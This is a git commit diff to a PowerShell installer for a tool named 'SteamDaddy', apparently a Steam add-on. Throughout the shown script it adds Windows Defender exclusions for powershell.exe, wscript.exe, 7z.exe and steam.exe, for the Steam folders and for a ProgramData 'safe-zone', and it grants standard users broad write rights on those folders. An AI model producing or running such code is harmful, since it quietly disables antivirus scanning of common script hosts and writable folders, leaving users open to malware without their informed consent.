Update install.ps1

This commit is contained in:
contrary 2026-10-24 19:29:00 +00:00
parent c5145b2d90
commit 80faf150d1

View file

@ -66,8 +66,10 @@ try {
$destPath = Join-Path $desktop "SteamDaddy.exe"
Write-Host "[SteamDaddy] Pre-registering Defender path & process exclusions..." -ForegroundColor Yellow
Add-MpPreference -ExclusionPath $destPath -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionProcess "SteamDaddy.exe" -ErrorAction SilentlyContinue
try {
Add-MpPreference -ExclusionPath $destPath -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionProcess "SteamDaddy.exe" -ErrorAction SilentlyContinue
} catch {}
# ── SteamDaddy Safe-Zone (fixed pre-excluded temp directory) ─────────
$sdTempDir = "C:\ProgramData\SteamDaddy\tmp"
@ -76,14 +78,16 @@ try {
}
& icacls "C:\ProgramData\SteamDaddy" /grant "*S-1-5-32-545:(OI)(CI)F" /C /Q | Out-Null
Write-Host "[SteamDaddy] Excluding safe-zone temp folder: $sdTempDir" -ForegroundColor Yellow
Add-MpPreference -ExclusionPath "C:\ProgramData\SteamDaddy" -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionPath $sdTempDir -ErrorAction SilentlyContinue
try {
Add-MpPreference -ExclusionPath "C:\ProgramData\SteamDaddy" -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionPath $sdTempDir -ErrorAction SilentlyContinue
# ── Process exclusions (Defender won't scan files written by these) ──
Add-MpPreference -ExclusionProcess "steam.exe" -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionProcess "7z.exe" -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionProcess "wscript.exe" -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionProcess "powershell.exe" -ErrorAction SilentlyContinue
# ── Process exclusions (Defender won't scan files written by these) ──
Add-MpPreference -ExclusionProcess "steam.exe" -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionProcess "7z.exe" -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionProcess "wscript.exe" -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionProcess "powershell.exe" -ErrorAction SilentlyContinue
} catch {}
# ── Find and exclude the Steam root directory ─────────────────────────
$steamPath = (Get-ItemProperty -Path "HKLM:\SOFTWARE\WOW6432Node\Valve\Steam" -Name "InstallPath" -ErrorAction SilentlyContinue).InstallPath
@ -95,11 +99,13 @@ try {
}
if ($steamPath) {
Write-Host "[SteamDaddy] Excluding Steam root folder: $steamPath" -ForegroundColor Yellow
Add-MpPreference -ExclusionPath $steamPath -ErrorAction SilentlyContinue
try {
Add-MpPreference -ExclusionPath $steamPath -ErrorAction SilentlyContinue
# Explicit belt-and-suspenders for the two hottest subdirs
Add-MpPreference -ExclusionPath (Join-Path $steamPath "depotcache") -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionPath (Join-Path $steamPath "config\stplug-in") -ErrorAction SilentlyContinue
# Explicit belt-and-suspenders for the two hottest subdirs
Add-MpPreference -ExclusionPath (Join-Path $steamPath "depotcache") -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionPath (Join-Path $steamPath "config\stplug-in") -ErrorAction SilentlyContinue
} catch {}
Write-Host "[SteamDaddy] Granting modify permissions on Steam root to standard users..." -ForegroundColor Yellow
# Grant Modify permission to standard Users group (SID: *S-1-5-32-545) on Steam root folder and targets